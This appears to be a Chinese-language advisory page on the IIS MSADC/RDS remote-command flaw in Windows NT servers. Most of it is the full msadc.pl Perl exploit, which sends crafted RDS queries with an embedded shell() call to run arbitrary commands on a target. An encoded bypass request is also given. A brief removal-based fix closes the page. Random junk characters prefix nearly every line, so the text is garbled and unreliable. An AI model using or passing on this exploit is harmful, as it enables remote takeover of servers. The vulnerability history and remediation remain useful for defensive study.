IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
<=CABWO. jR\p YRK 涉及程序：
~_ BjcY Microsoft NT server
?u CL[ fFEB#l!oUb 描述：
[cDkmRV 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
R?{_Q<17 OGEe8Z9Jt 详细：
<uU<qO;6 如果你没有时间读详细内容的话，就删除:
@ n qM#
c:\Program Files\Common Files\System\Msadc\msadcs.dll
[<r.M<3 有关的安全问题就没有了。
b4:{PD~Mh K1YxF 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
jNbVp{%/S} h5P ]`r 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
vo E t\H 关于利用ODBC远程漏洞的描述，请参看:
yIiVhI?X =
1veO0 http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm iB99.,o-& zw'%n+5m 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
V+D <626o http://www.microsoft.com/security/bulletins/MS99-025faq.asp it{Jd\/hR {'alA 这里不再论述。
ftmP dha%+ bOU" s>? 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
Sa)sDf1+` a i d1eF /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
Ay Uw 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
z}}P+P/ "+2C s ,e|"p[z ~T #将下面这段保存为txt文件，然后: "perl -x 文件名"
B 0 A`@9 7"Nda3 #!perl
^EN
)}:%Z #
L~/L<M s # MSADC/RDS 'usage' (aka exploit) script
`]]5!U2 #
U6|T<bsOl # by rain.forest.puppy
l4mRNYv)z #
W*iTg%a\k # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
]Ndy12,M # beta test and find errors!
S~r75] " ].Bx"L!B use Socket; use Getopt::Std;
Xm< _!= getopts("e:vd:h:XR", \%args);
FaJK
R *]/iL# print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
Slo^tqbG )AEtW[~D if (!defined $args{h} && !defined $args{R}) {
bGB$a0 print qq~
>aVtYp B Usage: msadc.pl -h <host> { -d <delay> -X -v }
@}PXBU -h <host> = host you want to scan (ip or domain)
M_+W 5G z< -d <seconds> = delay between calls, default 1 second
byP< !p* -X = dump Index Server path table, if available
)Vy0V= -v = verbose
dHAT($QG -e = external dictionary file for step 5
`uLr^G=; WnGi;AGH=1 Or a -R will resume a command session
~u!V_su]GY #oiU|>3Y ~; exit;}
W=g'Xu!|!2 9: g]DIL $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
ho6hjhS|u if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
QSzht$ 8 if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
3st?6?7| if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
A *:| d~ $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
feS$)H9- if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
% u VTf e[Vk+Te7 if (!defined $args{R}){ $ret = &has_msadc;
g T+wn-3 die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
0datzEn s` #: [F=2@,A print "Please type the NT commandline you want to run (cmd /c assumed):\n"
zC:Pg4=w] . "cmd /c ";
=mX26l`B $in=<STDIN>; chomp $in;
o=!_.lDF: $command="cmd /c " . $in ;
%R?WkG ;:oX e*d if (defined $args{R}) {&load; exit;}
&'zc2 t%e<]2 -8 print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
]Hl{(v\H O &try_btcustmr;
:B=Gb8? ^B%ki print "\nStep 2: Trying to make our own DSN...";
'y>Y */ &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
Is6}VL bB -B/'ArOo] print "\nStep 3: Trying known DSNs...";
S W6oaa81 &known_dsn;
`#<UsU,~Lu |RD )pvVM print "\nStep 4: Trying known .mdbs...";
R#YeE`K &known_mdb;
zICCSF&H %MGt3) if (defined $args{e}){
2[ =3-1c print "\nStep 5: Trying dictionary of DSN names...";
wjH1Om bt &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
fUCjC *#1 S8kzAT print "Sorry Charley...maybe next time?\n";
Wj!+
E{y<r exit;
*pD|N $8(QBZq ##############################################################################
a _0I)'
? )l!
/7WKY sub sendraw { # ripped and modded from whisker
u^MRKLn sleep($delay); # it's a DoS on the server! At least on mine...
0#=xUk#LP` my ($pstr)=@_;
7f
k)a socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
~a4Y8r die("Socket problems\n");
ex`T 9j.=B if(connect(S,pack "SnA4x8",2,80,$target)){
pl[@U<8aw select(S); $|=1;
D/"vel V print $pstr; my @in=<S>;
5|r*,! CF select(STDOUT); close(S);
21Dc.t{ return @in;
"l-#v|
54 } else { die("Can't connect...\n"); }}
)HI\T]; m3o -p ##############################################################################
;!VxmZ:j[ DOGGQ$0 sub make_header { # make the HTTP request
|q j"p my $msadc=<<EOT
V'>P lb.A POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
ig YYkt User-Agent: ACTIVEDATA
a6;[Z Host: $ip
-l_B;Sb:e Content-Length: $clen
PW5)") z Connection: Keep-Alive
:
qK-Rku e
T ;@pc ADCClientVersion:01.06
EqtL&UHe Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
$mAC8a_Zu iFI+W<QR --!ADM!ROX!YOUR!WORLD!
f@Jrbg Content-Type: application/x-varg
RR:%"4 M Content-Length: $reqlen
mj9sX^$ dE W 2[]m>; EOT
k{vbi-^6rf ; $msadc=~s/\n/\r\n/g;
AWMJ/ E*T return $msadc;}
t_ !p({ `C|] ;mf(# ##############################################################################
KiI+ V;o o9sPyY$aQ sub make_req { # make the RDS request
<"K*O9 nst my ($switch, $p1, $p2)=@_;
z7sDaZL?_ my $req=""; my $t1, $t2, $query, $dsn;
z k}AGw >EFWevT{ if ($switch==1){ # this is the btcustmr.mdb query
p[xGL }
+\ $query="Select * from Customers where City=" . make_shell();
|kvH`&s $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
N >*+Wg$Ne $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
U/kQw rM zdU 46|!u elsif ($switch==2){ # this is general make table query
"9 c=kqkX $query="create table AZZ (B int, C varchar(10))";
b+:J ?MR;} $dsn="$p1";}
.QKyB>s RjvW*'2G elsif ($switch==3){ # this is general exploit table query
=9 )k:S( $query="select * from AZZ where C=" . make_shell();
Xj{fM\,"9 $dsn="$p1";}
R{bG`C8.d GrJLQO0$N elsif ($switch==4){ # attempt to hork file info from index server
&V~l(1 $query="select path from scope()";
=$)M-;6 $dsn="Provider=MSIDXS;";}
\$.{*f
LFW`ISY { elsif ($switch==5){ # bad query
N%Ta. `r $query="select";
%c\k LSe $dsn="$p1";}
u<cnz% @ ,G}i:7 $t1= make_unicode($query);
[(3s5)O $t2= make_unicode($dsn);
*@PM,tS; $req = "\x02\x00\x03\x00";
{]}94T~/k $req.= "\x08\x00" . pack ("S1", length($t1));
mgVYKZWL-i $req.= "\x00\x00" . $t1 ;
$57b.+2n $req.= "\x08\x00" . pack ("S1", length($t2));
p$|7T31 * $req.= "\x00\x00" . $t2 ;
eZU9 L/w: $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
-j ]k^ return $req;}
jMTM:~0N /N_:npbJF ##############################################################################
LOi}\ O8 wxc#)W sub make_shell { # this makes the shell() statement
I-r+1gty return "'|shell(\"$command\")|'";}
wz 69Yw7 3Y2~HuM ##############################################################################
egG<"e*W}N :yD>Tn;1 sub make_unicode { # quick little function to convert to unicode
HLwMo&*rA my ($in)=@_; my $out;
'n,V*9 for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
ML\>TDt return $out;}
kO3 \v)B; cXqYO|3/M ##############################################################################
C[
mTVxd KsOWTq"uj sub rdo_success { # checks for RDO return success (this is kludge)
JL1A3G my (@in) = @_; my $base=content_start(@in);
JJ tx `@Bc if($in[$base]=~/multipart\/mixed/){
p+V#86(3 return 1 if( $in[$base+10]=~/^\x09\x00/ );}
J, CwC) return 0;}
\|{/.R S$Zi{bU`G ##############################################################################
f!#! %Rn*oV sub make_dsn { # this makes a DSN for us
S=mqxI o@m my @drives=("c","d","e","f");
lh"*$.j - print "\nMaking DSN: ";
c'eZ-\d{ foreach $drive (@drives) {
_;;Zz&c print "$drive: ";
J>}J~[ap\J my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
\/M x|7< "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
eyyME c! . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
'{jr9Vh $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
[#q>Aq$11 return 0 if $2 eq "404"; # not found/doesn't exist
W~ET/h if($2 eq "200") {
(n*:LS=0 foreach $line (@results) {
LQ# E+id& return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
C{zp8 A(Dh } return 0;}
[rT.k5_ s4"Os gP+ ##############################################################################
-<6?ISF2 v wEbGx sub verify_exists {
nl Nk my ($page)=@_;
b[<RcM{r} my @results=sendraw("GET $page HTTP/1.0\n\n");
~.%HZzR6& return $results[0];}
<ErX<(0`ig )|lxz lk ##############################################################################
l,4O ~x9 ]?T sub try_btcustmr {
zd=O;T;. my @drives=("c","d","e","f");
@;bBc my @dirs=("winnt","winnt35","winnt351","win","windows");
]oB~8d ]h,rgO ; foreach $dir (@dirs) {
|R0f--; print "$dir -> "; # fun status so you can see progress
lQ;BI~ foreach $drive (@drives) {
Q-
| Y print "$drive: "; # ditto
VX$WL"A $reqlen=length( make_req(1,$drive,$dir) ) - 28;
u##th8h4U $reqlenlen=length( "$reqlen" );
T^1
Z_|A $clen= 206 + $reqlenlen + $reqlen;
8#7qHT;cx a ZWj52 my @results=sendraw(make_header() . make_req(1,$drive,$dir));
cQK-Euum if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
_VK I@ else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
cl%+m V]p{j LG ##############################################################################
Mu? |<#s IFp%T a sub odbc_error {
{6zNCO my (@in)=@_; my $base;
g F*AS(9 my $base = content_start(@in);
hGz_ F/ if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
K p`{-dUf $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
\EySKQ= $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
C 1k< P $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
=:^aBN# return $in[$base+4].$in[$base+5].$in[$base+6];}
L"m^LyU print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
QJVbt print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
}~/b%^ $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
%tyo( HZQ 43PLURay ##############################################################################
u=.8M`FxP "B_3<RSL sub verbose {
z sg\|=P my ($in)=@_;
OM*c7& return if !$verbose;
4 O !2nP print STDOUT "\n$in\n";}
Tnp
P ' Qq< @;4 ##############################################################################
gc.Lh~ #J"xByQKK sub save {
N*o{BboK; my ($p1, $p2, $p3, $p4)=@_;
UZyg_G6 open(OUT, ">rds.save") || print "Problem saving parameters...\n";
@AEH?gO X print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
|58HPW9 close OUT;}
!ZYPz}&N_ 0<uek ##############################################################################
Ek_ 5% n m2j&0z sub load {
SiLW[JXd my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
$4nA b ^/ open(IN,"<rds.save") || die("Couldn't open rds.save\n");
: { p'U2 @p=<IN>; close(IN);
d y HC8 $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
X4
Arn, $target= inet_aton($ip) || die("inet_aton problems");
AE0 uBv print "Resuming to $ip ...";
~L)~p%rbi $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
~3F'X if($p[1]==1) {
lG7PM^Eb $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
=,6H2ew $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
MiT0!6Pg my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
Ie.*x'b?y if (rdo_success(@results)){print "Success!\n";}
AW]\n;f
else { print "failed\n"; verbose(odbc_error(@results));}}
D.K""*ula elsif ($p[1]==3){
\MP~}t}c if(run_query("$p[3]")){
]`/>hH>+~9 print "Success!\n";} else { print "failed\n"; }}
%Qe zC+n elsif ($p[1]==4){
1<YoGm& if(run_query($drvst . "$p[3]")){
)+G"57p print "Success!\n"; } else { print "failed\n"; }}
K^u,B3 exit;}
V `Cy x^P tbFAVGcAM ##############################################################################
iW5cEI%tb sQJ\{'g sub create_table {
]r
Uj<[O my ($in)=@_;
YOl$sg g} $reqlen=length( make_req(2,$in,"") ) - 28;
X1Yw=t~a $reqlenlen=length( "$reqlen" );
ldA_mj{ $clen= 206 + $reqlenlen + $reqlen;
t'n@yX_ my @results=sendraw(make_header() . make_req(2,$in,""));
lPy|>&Yc return 1 if rdo_success(@results);
x-BU$bx5 my $temp= odbc_error(@results); verbose($temp);
I/O3OD return 1 if $temp=~/Table 'AZZ' already exists/;
FK _ ZE> return 0;}
mUBy*. 2q~ .,vpP ##############################################################################
\SWTP1 XF!L. ' zH sub known_dsn {
JrzPDb`m # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
PCviQ!X my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
#e' >9T "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
g#5R|| r "banner", "banners", "ads", "ADCDemo", "ADCTest");
}"D;?$R! ?I}RX~Tgg foreach $dSn (@dsns) {
fVbjU1N print ".";
5\Q Tm; next if (!is_access("DSN=$dSn"));
p*;!5;OUR if(create_table("DSN=$dSn")){
'nCVjO7o print "$dSn successful\n";
h `Lr5)B' if(run_query("DSN=$dSn")){
%K6veB{M print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
6'^_ *n print "Something's borked. Use verbose next time\n";}}} print "\n";}
(95|DCL # T=iS( i ##############################################################################
Tag f7tw4 'C]w3Rh' sub is_access {
7(Fas (j3 my ($in)=@_;
586P~C[ic $reqlen=length( make_req(5,$in,"") ) - 28;
>8f~2dH2% $reqlenlen=length( "$reqlen" );
O$ *lPA[ $clen= 206 + $reqlenlen + $reqlen;
h^Wb<O`S my @results=sendraw(make_header() . make_req(5,$in,""));
zI`I
Q my $temp= odbc_error(@results);
[:8\F#KW verbose($temp); return 1 if ($temp=~/Microsoft Access/);
19E(Hsz return 0;}
d_ 9 C m@ 2bt>t[0ad ##############################################################################
4^F[G p? j4~(6Imm sub run_query {
q$:1Xkl my ($in)=@_;
RkYdK$|K $reqlen=length( make_req(3,$in,"") ) - 28;
Y%KowgP\ $reqlenlen=length( "$reqlen" );
%7#<K\]) $clen= 206 + $reqlenlen + $reqlen;
;UQGi}?CD my @results=sendraw(make_header() . make_req(3,$in,""));
%_(vSpk return 1 if rdo_success(@results);
B)0/kY7c my $temp= odbc_error(@results); verbose($temp);
N!+=5! return 0;}
) /raTD cl& w /OJ# ##############################################################################
6S`_L \<7Bx[/D4 sub known_mdb {
[D"6& my @drives=("c","d","e","f","g");
z|#*c5Y9w my @dirs=("winnt","winnt35","winnt351","win","windows");
?P
kJG ,~ my $dir, $drive, $mdb;
wC1pfXa my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
_*mn4n= P5Xp #pa # this is sparse, because I don't know of many
$qNF /r F my @sysmdbs=( "\\catroot\\icatalog.mdb",
IiPX`V>RC "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
[\8rh^LFi "\\system32\\certmdb.mdb",
VGS%U8; "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
H$`U]
=s| G c V/_Y my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
btW#ebm "\\cfusion\\cfapps\\forums\\forums_.mdb",
PmuG(qg "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
20c5U% "\\cfusion\\cfapps\\security\\realm_.mdb",
@:N8V[*u "\\cfusion\\cfapps\\security\\data\\realm.mdb",
PCT&d)} "\\cfusion\\database\\cfexamples.mdb",
zL"e . "\\cfusion\\database\\cfsnippets.mdb",
<.h7xZ "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
WVP?Ie8 "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
q[s,q3n~ "\\cfusion\\brighttiger\\database\\cleam.mdb",
\{h_i
FU! "\\cfusion\\database\\smpolicy.mdb",
Zbczbnj "\\cfusion\\database\cypress.mdb",
&g :( I "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
kWr1>})' "\\website\\cgi-win\\dbsample.mdb",
*!QmYH5r0 "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
Ip
t;NlR "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
1eI*.pt ); #these are just
@Jd&[T27Lr foreach $drive (@drives) {
)!8q JQD foreach $dir (@dirs){
T`# nn| foreach $mdb (@sysmdbs) {
yYz{*hq print ".";
|` T7}U if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
-.D? Z8e print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
v=k+ MvX if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
i}m'#b print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
d{fd5jv; } else { print "Something's borked. Use verbose next time\n"; }}}}}
lR?y
tIY ! tq]kKJ3: foreach $drive (@drives) {
,Fn;* foreach $mdb (@mdbs) {
[2@:jLth= print ".";
N9-0b if(create_table($drv . $drive . $dir . $mdb)){
rJiF2 W print "\n" . $drive . $dir . $mdb . " successful\n";
@76}d if(run_query($drv . $drive . $dir . $mdb)){
x6cG'3&T print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
#2]* qgA4 } else { print "Something's borked. Use verbose next time\n"; }}}}
A/y|pg5 }
c=v016r\ $ }/tlA&e ##############################################################################
7Z>vQ f B >CvhTrPI sub hork_idx {
byM%D$ R print "\nAttempting to dump Index Server tables...\n";
P^te print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
f , e]jw@ $reqlen=length( make_req(4,"","") ) - 28;
/pF8S!,z $reqlenlen=length( "$reqlen" );
d+DO}=] $clen= 206 + $reqlenlen + $reqlen;
vu(
5 s my @results=sendraw2(make_header() . make_req(4,"",""));
A@?0( if (rdo_success(@results)){
@b(@`yz.a my $max=@results; my $c; my %d;
wDvu2iC= for($c=19; $c<$max; $c++){
u!X~!h-6~ $results[$c]=~s/\x00//g;
[RBSUOF $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
"(=g7,I4 $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
8F[ ];LF> $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
CR [>5/:M $d{"$1$2"}="";}
I~l
qg foreach $c (keys %d){ print "$c\n"; }
sc*R:" } else {print "Index server doesn't seem to be installed.\n"; }}
rWr'+v? `l45T~`] $ ##############################################################################
c/ Pql!h+ onu G sub dsn_dict {
d/
Lz" open(IN, "<$args{e}") || die("Can't open external dictionary\n");
"M/c0`>C!i while(<IN>){
';R]`vWFe $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
QGN+f) next if (!is_access("DSN=$dSn"));
2TGND-(j if(create_table("DSN=$dSn")){
-;cF)C--12 print "$dSn successful\n";
(BY 0b%^ if(run_query("DSN=$dSn")){
lJ3VMYVrUP print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
@ lB{!j&q print "Something's borked. Use verbose next time\n";}}}
A ;8kC} print "\n"; close(IN);}
jU-LT8y: 3I 0pHP5 ##############################################################################
q
4Pv\YO / =9Y(v sub sendraw2 { # ripped and modded from whisker
X 3sAy(q sleep($delay); # it's a DoS on the server! At least on mine...
c#x~x my ($pstr)=@_;
<lzC|>BG socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
OV{v6,>O die("Socket problems\n");
#`y[75<n if(connect(S,pack "SnA4x8",2,80,$target)){
dOv\] print "Connected. Getting data";
DOyO`TJi open(OUT,">raw.out"); my @in;
sqhMnDn[ select(S); $|=1; print $pstr;
M"*NV(".g while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
d'(n/9 K close(OUT); select(STDOUT); close(S); return @in;
)2c]Z| } else { die("Can't connect...\n"); }}
Sfe[z=7S pj_W ^,*/ ##############################################################################
|mMsU,*gB #~p ;s> sub content_start { # this will take in the server headers
cn}15JHdR my (@in)=@_; my $c;
XW aa`q for ($c=1;$c<500;$c++) {
YWU@e[ if($in[$c] =~/^\x0d\x0a/){
rn
. qs if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
"d<uc j else { return $c+1; }}}
6"iNh) return -1;} # it should never get here actually
#pZeGI|'J OcUj_Zd ##############################################################################
T^!Q(`* SE*;6&yL sub funky {
cq>J]35 my (@in)=@_; my $error=odbc_error(@in);
y )K Iz if($error=~/ADO could not find the specified provider/){
XHv
m{z= print "\nServer returned an ADO miscofiguration message\nAborting.\n";
6n/=n%US exit;}
f\5w@nX if($error=~/A Handler is required/){
c)
Eu(j\# print "\nServer has custom handler filters (they most likely are patched)\n";
od#Lad@p exit;}
XOX$uLm if($error=~/specified Handler has denied Access/){
4x
?NCD=k print "\nServer has custom handler filters (they most likely are patched)\n";
], Bafz)4 exit;}}
2{RRaUoRb bbq`gEV ##############################################################################
OybmyGHY &'`C#-e@ sub has_msadc {
iZk4K X my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
X8v)yDtw my $base=content_start(@results);
a5Vlfx return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
{;Hg1=cm return 0;}
y#
\"yykB $m
;p@#n ########################
l`~$cK! t>quY$}4 . oM- A\! 解决方案：
Tp@Yn 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
P'iX?+* 2、移除web 目录: /msadc
